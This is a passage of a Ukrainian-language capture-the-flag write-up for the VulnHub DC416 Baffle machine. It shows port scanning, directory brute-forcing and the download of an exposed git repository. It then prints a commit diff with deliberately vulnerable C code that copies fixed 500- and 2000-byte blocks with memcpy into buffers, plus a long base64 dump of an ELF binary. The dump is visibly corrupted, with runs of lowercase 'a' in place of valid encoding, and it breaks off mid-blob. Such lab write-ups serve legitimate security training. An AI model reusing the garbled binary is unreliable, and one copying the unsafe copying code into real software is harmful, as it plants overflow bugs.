VulnHub: Реверсим все що можна в DC416 Baffle



Всім доброго часу доби, у цій статті хотілося б завершити серію DC416, CTF з конференції DefCon Toronto's. Залишивши на десерт DC416 Baffle, на мій погляд, найцікавіший і хардкорний квест, наданий командою VulnHub.

Увага! Попереду буде багато реверсу і бінарної експлуатації!

Якщо ви до цього не готові, то рекомендую для початку ознайомитися з попередніми райтапами:


Почнемо
Запускаємо віртуалку, і переходимо до пошуку відкритих портів:

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-31 12:19 MSK
Nmap scan report for 192.168.1.190
Host is up (0.00071 s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http nginx 1.6.2
6969/tcp open acmsoda?
MAC Address: 08:00:27:84:83:C3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Flag 1
$ sudo dirsearch -u 'http://192.168.1.190' -w /usr/share/dirb/wordlists/big.txt -e php,html,js,jpg,txt,bak -r -f -x 403



Є директорія з git репозиторієм. Викачуємо її допомогою рскв-ripper:

$ mkdir site-repo && cd site-repo
$ rip-git -u http://192.168.1.190/.git/
$ ls -ahl
drwxrwxr-x 6 gh0st3rs gh0st3rs 4,0 K січ. 2 17:25 .git
-rw-rw-r-- 1 gh0st3rs gh0st3rs 616 січ. 2 17:25 hellofriend.c

Лог комітів
commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:58:02 2016 -0400

Trashed my code, but deployed the product anyway.

diff --git a/hellofriend.c b/hellofriend.c
index 10a4d9e..6f8855b 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -13,22 +13,13 @@ int parse_request(char *req, int n) {
char mode[10];
char *ptr = req; 
FILE *fp;
- 
- memset(file, 0, sizeof(file)); 
- memset(mode, 0, sizeof(mode)); 
-
- memset(data, 0, sizeof(data)); 
- memset(to_write, 0, sizeof(to_write)); 
-
- ptr = (char *)ptr + 2; 
- file_len = strlen(ptr); 
-
- ptr = (char *)ptr + file_len + 1;
- ptr = (char *)ptr + 6;
-
- memcpy(to_write, ptr, 500); 
- memcpy(data, ptr, 2000); 

+ if (req_type == 0x01) {
+ /* todo */
+ }
+ if (req_type == 0x2) {
+ /* todo */
+ }
return 0; 
}

diff --git a/project.enc b/project.enc
deleted file mode 100644
index 7fe355b 0000000..
--- a/project.enc
+++ /dev/null
@@ -1,147 +0,0 @@
-f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAuazaaaaaaabaaaaaaaaaapgyaaaaaaaaaaaaaeaaoaai
-AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAaeaaaaaaaeaaqaaaaaaawaeaaaaaaadaaqaaaaaaaaga
-AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACqaaaaaaaaajaaaaaaaacaaaaaaaaabwaaaaaaaaaaqaa
-AAAAAAABAAAABQAAAAAAAAAAAAAAAABAaaaaaaaaaeaaaaaaafwlaaaaaaaaxasaaaaaaaaaacaa
-AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAaaaaagalyaaaaaaayaiaaaaaaab4baaaaaaaaaaaiaaa
-AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAaaaaeatgaaaaaadqaqaaaaaaanabaaaaaaaacaaaaaaa
-AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAaaacakaaaaaaaeqaaaaaaaaaraaaaaaaaaaeaaaaaaaa
-AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAaawkqaaaaaaapaaaaaaaaaa8aaaaaaaaaaqaaaaaaaaa
-UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaav
-bGliNjQvbGQtbGludXgteDg2LTY0LnNvljiabaaaabaaaaabaaaar05vaaaaaaacaaaabgaaacaa
-AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAaaaeaaaagaaaaaaaa
-AAABEAALAAAAAAAAACkdjBwAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaahgaaabiaaaaaaaaa
-AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAaaaaaaaaaaaaaaaaeqaaabiaaaaaaaaaaaaaaaaaaaaa
-AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAaaaalaaaabiaaaaaaaaaaaaaaaaaaaaaaaaargaaabia
-AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
-AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAaaaaaaaaaaaacwaaabiaaaaaaaaaaaaaaaaaaaaaaaaa
-MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAagxpymmuc28ungbmb3blbgbwcmludgyazmdldhmac3ry
-bGVuAG1lbXNldAByZWFkAHN0ZG91dABtzw1jchkac2v0ynvmaf9fbgliy19zdgfydf9tywluaf9f
-Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAr0xjqknfmi4yljuaaaacaaiaagacaaiaagacaaaaawac
-AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWbgaaawbnaaaaeaaaahuaaqkaaaiacgaaaaaaaabidwaa
-AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAaaaaaauaaaalaaaaaaaaaaaaaabodwaaaaaaaacaaaab
-AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACaaaaaaaaaaaaaab4dwaaaaaaaacaaaadaaaaaaaaaaaa
-AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAaacidwaaaaaaaacaaaafaaaaaaaaaaaaaacqdwaaaaaa
-AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAaacaaaahaaaaaaaaaaaaaacgdwaaaaaaaacaaaajaaaa
-AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAaaaaaaaaaabig+wISIsFxQcgAEiFwHQF6LMAAABIg8QI
-wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA
-AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK
-ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp
-YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5Iiejig+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo
-h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA
-AABdww8fQABmLg8fhAAAAAAAvsANYABVsihuwa1gaejb/gNIieVIifBIweg/SAHGSNH+dBW4AAAA
-AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIiexobv///13GBa4GIAAB88MPH0AA
-v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdpfvsinl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J
-tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA
-AEiJx+hF/v//SIuF2Pn//0iDwAEPtgAPvsCJRfSDffQBD4WWAAAASinf+AKLhdT5//+D6AmJRfCL
-RfBIY9BIi034SI2F8Pv//0iJzkiJx+g6/v//SI2F8Pv//74ECkAASInH6Db+//9IiUXoSIN96AB0
-SkiNhfD5//+69AEAAL4AAAAASInH6ML9//9Ii1XoSI2F8Pn//770AQAASInH6Nr9//9IjYXw+f//
-SInGvwYKQAC4AAAAAOiB/f//g330Ag+FlwAAAEiNhfD9//+69AEAAL4AAAAASInH6G79//+69AEA
-AL4AAAAAv+ANYADoWv3//0iDRfgCSItF+EiJx+gZ/f//iUXwi0XwSJhIg8ABSAFF+EiDRfgGSItF
-+LrgDWAAuT4AAABIiddIicbzSKVIifBIifqlcikksi1sbeinqarii034si2f8p3//7rQBwAASInO
-SInH6DD9//+4AAAAAMnDVUiJ5UiB7PAHAACJvRz4//9IibUQ+P//SIsFqgQgAL4AAAAASInH6J38
-//9IjYUg+P//utAHAAC+AAAAAEiJx+ik/P//SI2FIPj//7rQBwAASInGvwAAAADom/z//4lF/ItV
-/EiNhSD4//+J1kiJx+ja/f//uAAAAADJw2YuDx+EAAAAAAAPHwBBV0FWQYn/QVVBVEyNJc4BIABV
-SI0tzgEgAFNJifZJidVMKeVIg+wISMH9A+jH+///SIXtdCAx2w8fhAAAAAAATInqTIn2RIn/Qf8U
-3EiDwwFIOet16kiDxAhbXUFcQV1BXkFfw5bmlg8fhaaaaaaa88maaeid7ahig8qiwwaaaaeaagby
-ACVzAAAAAAEbAzs4AAAABgAAAJT7//+EAAAARPz//1QAAAA6/f//rAAAAOv+///MAAAAdP///+wA
-AADk////NAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkaehebqaaaacaaaa6pv//yoAAAAAAAAAAAAA
-ABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAacqaaaacaaaacpv//6AAAAAADhBGDhhKDwt3CIAAPxo7
-KjMkIgAAAAAcAAAARAAAAIb8//+xAQAAAEEOEIYCQw0GA6wBDAcIABwAAABkaaaaf/7//3wAAAAA
-QQ4QhgJDDQYCdwwHCAAARAAAAIQAAACA/v//ZQAAAABCDhCPAkIOGI4DRQ4gjQRCDiiMbugomiyg
-SA44gwdNDkByDjhBDjBBDihCDiBCDhhCdhbcdggafaaaamwaaaco/v//AgAAAAAAAAAAAAAAAAAA
-AAAAAAAgB0AAAAAAAAAHQAAAAAAAAAAAaaaaaaabaaaaaaaaaaeaaaaaaaaadaaaaaaaaab4buaa
-AAAAAA0AAAAAAAAA9AlAAAAAAAAZAAAAaaaaagalyaaaaaaagwaaaaaaaaaiaaaaaaaaaboaaaaa
-AAAAaAtgAAAAAAAcAAAAAAAAAAgAAAAAaaaa9f7/bwAAAABgAkAAAAAAAAUAAAAAAAAAqANAaaaa
-AAAGAAAAAAAAAIgCQAAAAAAACgAAAAAAaab+AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAAVaaaaaaaa
-AAAAAAAAAAAAAwAAAAAAAABQDWAAAAAAaaiaaaaaaaaa2aaaaaaaaaauaaaaaaaaaacaaaaaaaaa
-FwAAAAAAAACgBEAAAAAAAAcAAAAAAAAAcaraaaaaaaaiaaaaaaaaadaaaaaaaaaacqaaaaaaaaay
-AAAAAAAAAP7//28AAAAAQARAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAmBEAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaeatgaaaaaaaaaaaa
-AAAAAAAAAAAAAAAAtgVAAAAAAADGBUAAaaaaanyfqaaaaaaa5gvaaaaaaad2buaaaaaaaaygqaaa
-AAAAFgZAAAAAAAAmBkAAAAAAADYGQAAAaaaaaaaaaaaaaaaaaaaaaaaaaeddqzogkerlymlhbia2
-LjEuMS0xMSkgNi4xLjEgMjAxNjA4MDIAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawab
-AAACQAAAAAAAAAAAAAAAAAAAAAAAAwACabwcqaaaaaaaaaaaaaaaaaaaaaaaawadadwcqaaaaaaa
-AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAaaaaaaaaaaaaaaaaawafaigcqaaaaaaaaaaaaaaaaaaa
-AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAaaaaawahacyeqaaaaaaaaaaaaaaaaaaaaaaaawaiaeae
-QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEqaaaaaaaaaaaaaaaaaaaaaaaawakakaeqaaaaaaaaaaa
-AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAaaaaaaaaaaaaawamakafqaaaaaaaaaaaaaaaaaaaaaaa
-AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAawaoafagqaaaaaaaaaaaaaaaaaaaaaaaawapapqjqaaa
-AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAaaaaaaaaaaaaaaaaaaaaawaraawkqaaaaaaaaaaaaaaa
-AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAaaaaaaaaawatagalyaaaaaaaaaaaaaaaaaaaaaaaawau
-AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVahalyaaaaaaaaaaaaaaaaaaaaaaaawawahglyaaaaaaa
-AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAaaaaaaaaaaaaaaaaawayafanyaaaaaaaaaaaaaaaaaaa
-AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAaaaaawaaamanyaaaaaaaaaaaaaaaaaaaaaaaawabaaaa
-AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAhalyaaaaaaaaaaa
-AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAaaaaaaabaaaaagaoamagqaaaaaaaaaaaaaaaaaauaaaa
-AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAaqaaamgnyaaaaaaaaqaaaaaaaabtaaaaaqauagglyaaa
-AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAaaaaaaaaaaaaaacgaaaaaqatagalyaaaaaaaaaaaaaaa
-AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
-AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVahalyaaaaaaaaaaaaaaaaaaaaaaabadx/wAAAAAAAAAA
-AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAaaaaaaaaaadyaaaaaqawahglyaaaaaaaaaaaaaaaaadh
-AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0aaaaaaaraawkqaaaaaaaaaaaaaaaaaahaqaaaqayafan
-YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJqaaaaaaaagaaaaaaaaataqaaiaaaaaaaaaaaaaaaaaaa
-AAAAAABJAQAAEQAaAMANYAAAAAAACAAAaaaaaad6aqaaiaazalanyaaaaaaaaaaaaaaaaabdaqaa
-EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAegapapqjqaaaaaaaaaaaaaaaaabkaqaaegaaaaaaaaaa
-AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAaaaaaaaaaaaaaacmaqaaegaaaaaaaaaaaaaaaaaaaaaa
-AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAaac0aqaaegaaaaaaaaaaaaaaaaaaaaaaaadgaqaaegaa
-AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAaaaaaaaaaaaaaaaaaaaaaad4aqaaeaazalanyaaaaaaa
-AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAaaaaaaaaaaauagaaeqizalgnyaaaaaaaaaaaaaaaaaah
-AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0agaaeqaqaaakqaaaaaaabaaaaaaaaabdagaaegaoaiaj
-QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPyaaaaaaaaaaaaaaaaad+AQAAEgAOAFAGQAAAAAAAKgAA
-AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAaaaaaabfagaaegaoapciqaaaaaaafaaaaaaaaabkagaa
-EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAiaaaaaaaaaaaaaaaaaaaaaaaaaclagaaegaoaeyhqaaa
-AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAaaaaaaaaaaaaaaclagaaiaaaaaaaaaaaaaaaaaaaaaaa
-AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNagaaegalahgfqaaaaaaaaaaaaaaaaaaay3j0c3r1
-ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3rlcl90bv9jbg9uzxmax19kb19nbg9iywxfzhrvcnnf
-YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fz2xvymfsx2r0b3jzx2f1ef9maw5px2fycmf5x2vudhj5
-AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbxlfaw5pdf9hcnjhev9lbnryeqbjdgz0cc5jaf9frljb
-TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0x2fycmf5x2vuzabfrfloqu1jqwbfx2luaxrfyxjy
-YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfsersaf9hte9cquxft0zgu0vux1rbqkxfxwbfx2xpymnf
-Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyve1dbg9uzvrhymxlahn0zg91debar0xjqknfmi4yljua
-X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yljuac2v0ynvmqebhtelcq18yljiunqbwcmludgzaqedm
-SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfmi4yljuacmvhzebar0xjqknfmi4yljuax19sawjjx3n0
-YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnzxrzqebhtelcq18yljiunqbfx2rhdgffc3rhcnqax19n
-bW9uX3N0YXJ0X18AX19kc29faGFuZGxlag1lbwnweubar0xjqknfmi4xnabfsu9fc3rkaw5fdxnl
-ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3rhcnqabwfpbgbmb3blbkbar0xjqknfmi4yljuax0p2
-X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yzxf1zxn0af9fve1dx0vorf9faf9jve1fcmvnaxn0zxju
-TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zew10ywialnn0cnrhygauc2hzdhj0ywialmludgvycaau
-bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idwlszc1pzaauz251lmhhc2galmr5bnn5bqauzhluc3ry
-AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgaucmvsys5kew4alnjlbgeucgx0ac5pbml0ac5w
-bHQuZ290AC50ZXh0AC5maW5pAC5yb2Rhdgealmvox2zyyw1lx2hkcgauzwhfznjhbwualmluaxrf
-YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuzhluyw1pywauz290lnbsdaauzgf0yqauynnzac5jb21t
-ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACaaaaaaaaaaacqaaaaaaaaaiaaaaaaaacaaaaaaaaaaaa
-AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAaaahaaaaagaaaaaaaaacakaaaaaaabwcaaaaaaaaiaaa
-AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAaaaaaaaxaaaabwaaaaiaaaaaaaaapajaaaaaaaa8agaa
-AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAaaaaaaaaaaaaaaaaraaaapb//28CAAAAAAAAAGACQAAA
-AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAaaaacaaaaaaaaaaaaaaaaaaaae4aaaalaaaaagaaaaaa
-AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAaaagaaaaaqaaaagaaaaaaaaagaaaaaaaaabwaaaaawaa
-AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAah4aaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaa
-XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAaayaaaaaaaaaauaaaaaaaaaagaaaaaaaaac
-AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAaamaaaaaaaaaagaaaaaqaaaaga
-AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAaaaaaaaacaraaaaaaabwbaaaaaaaadaaaaaaaaaabqaa
-AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAaaqaaabcaaaaaaaaakaeqaaaaaaaoaqaaaaaaadyaaaa
-AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAaaaaai4aaaabaaaabgaaaaaaaab4buaaaaaaahgfaaaa
-AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAaaaaaaaaaaaaaacjaaaaaqaaaayaaaaaaaaaoavaaaaa
-AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAaaaqaaaaaaaaabaaaaaaaaaalaaaaaeaaaagaaaaaaaa
-AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
-BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogmaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaacj
-AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0cqaaaaaaaakaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaaaa
-AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKqaaaaaaaaaoaaaaaaaajaaaaaaaaaaaaaaaaaaaabaaa
-AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAaaaaaaamckaaaaaaaawkaaaaaaaapaaaaaaaaaaaaaaa
-AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABIcgaaaaaaabqbaaaa
-AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAaaaayqaaaa4aaaadaaaaaaaaagalyaaaaaaayasaaaaa
-AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAaaaaaaaaaaaaanuaaaapaaaaawaaaaaaaaboc2aaaaaa
-AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAaagaaaaaaaaaaaaaaaaaaadhaaaaaqaaaamaaaaaaaaa
-cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAaaaaaaaaaaaiaaaaaaaaaaaaaaaaaaaa5gaaaayaaaad
-AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQaqaaaaaaaayaaaaaaaaacaaaaaaaaaaqaaaaaaaaajga
-AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNaaaaaaaacaaaaaaaaaaaaaaaaaaaaagaaaaaaaaacaaa
-AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gaaaaaabqdqaaaaaaagaaaaaaaaaaaaaaaaaaaaaiaaaa
-AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsa0aaaaaaaaqaaaaaaaaaaaaaaaa
-AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIaaaaawaaaaaaaadadwaaaaaaamanaaaaaaaagaiaaaaa
-AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
-ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
-6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAaqaaaaaaaaaaaaaaaaaaaaeaaaacaaaaaaaaaaaaaaaa
-AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeaaaalwaaaagaaaaaaaaagaaaaaaaaaajaaaaawaaaaaa
-AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaa

commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:55:07 2016 -0400

Some assembly required

diff --git a/project.enc b/project.enc
new file mode 100644
index 0000000..7fe355b
--- /dev/null
+++ b/project.enc
@@ -0,0 +1,147 @@
+f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAuazaaaaaaabaaaaaaaaaapgyaaaaaaaaaaaaaeaaoaai
+AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAaeaaaaaaaeaaqaaaaaaawaeaaaaaaadaaqaaaaaaaaga
+AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACqaaaaaaaaajaaaaaaaacaaaaaaaaabwaaaaaaaaaaqaa
+AAAAAAABAAAABQAAAAAAAAAAAAAAAABAaaaaaaaaaeaaaaaaafwlaaaaaaaaxasaaaaaaaaaacaa
+AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAaaaaagalyaaaaaaayaiaaaaaaab4baaaaaaaaaaaiaaa
+AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAaaaaeatgaaaaaadqaqaaaaaaanabaaaaaaaacaaaaaaa
+AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAaaacakaaaaaaaeqaaaaaaaaaraaaaaaaaaaeaaaaaaaa
+AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAaawkqaaaaaaapaaaaaaaaaa8aaaaaaaaaaqaaaaaaaaa
+UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaav
+bGliNjQvbGQtbGludXgteDg2LTY0LnNvljiabaaaabaaaaabaaaar05vaaaaaaacaaaabgaaacaa
+AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAaaaeaaaagaaaaaaaa
+AAABEAALAAAAAAAAACkdjBwAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaahgaaabiaaaaaaaaa
+AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAaaaaaaaaaaaaaaaaeqaaabiaaaaaaaaaaaaaaaaaaaaa
+AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAaaaalaaaabiaaaaaaaaaaaaaaaaaaaaaaaaargaaabia
+AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
+AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAaaaaaaaaaaaacwaaabiaaaaaaaaaaaaaaaaaaaaaaaaa
+MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAagxpymmuc28ungbmb3blbgbwcmludgyazmdldhmac3ry
+bGVuAG1lbXNldAByZWFkAHN0ZG91dABtzw1jchkac2v0ynvmaf9fbgliy19zdgfydf9tywluaf9f
+Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAr0xjqknfmi4yljuaaaacaaiaagacaaiaagacaaaaawac
+AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWbgaaawbnaaaaeaaaahuaaqkaaaiacgaaaaaaaabidwaa
+AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAaaaaaauaaaalaaaaaaaaaaaaaabodwaaaaaaaacaaaab
+AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACaaaaaaaaaaaaaab4dwaaaaaaaacaaaadaaaaaaaaaaaa
+AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAaacidwaaaaaaaacaaaafaaaaaaaaaaaaaacqdwaaaaaa
+AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAaacaaaahaaaaaaaaaaaaaacgdwaaaaaaaacaaaajaaaa
+AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAaaaaaaaaaabig+wISIsFxQcgAEiFwHQF6LMAAABIg8QI
+wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA
+AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK
+ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp
+YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5Iiejig+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo
+h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA
+AABdww8fQABmLg8fhAAAAAAAvsANYABVsihuwa1gaejb/gNIieVIifBIweg/SAHGSNH+dBW4AAAA
+AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIiexobv///13GBa4GIAAB88MPH0AA
+v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdpfvsinl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J
+tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA
+AEiJx+hF/v//SIuF2Pn//0iDwAEPtgAPvsCJRfSDffQBD4WWAAAASinf+AKLhdT5//+D6AmJRfCL
+RfBIY9BIi034SI2F8Pv//0iJzkiJx+g6/v//SI2F8Pv//74ECkAASInH6Db+//9IiUXoSIN96AB0
+SkiNhfD5//+69AEAAL4AAAAASInH6ML9//9Ii1XoSI2F8Pn//770AQAASInH6Nr9//9IjYXw+f//
+SInGvwYKQAC4AAAAAOiB/f//g330Ag+FlwAAAEiNhfD9//+69AEAAL4AAAAASInH6G79//+69AEA
+AL4AAAAAv+ANYADoWv3//0iDRfgCSItF+EiJx+gZ/f//iUXwi0XwSJhIg8ABSAFF+EiDRfgGSItF
++LrgDWAAuT4AAABIiddIicbzSKVIifBIifqlcikksi1sbeinqarii034si2f8p3//7rQBwAASInO
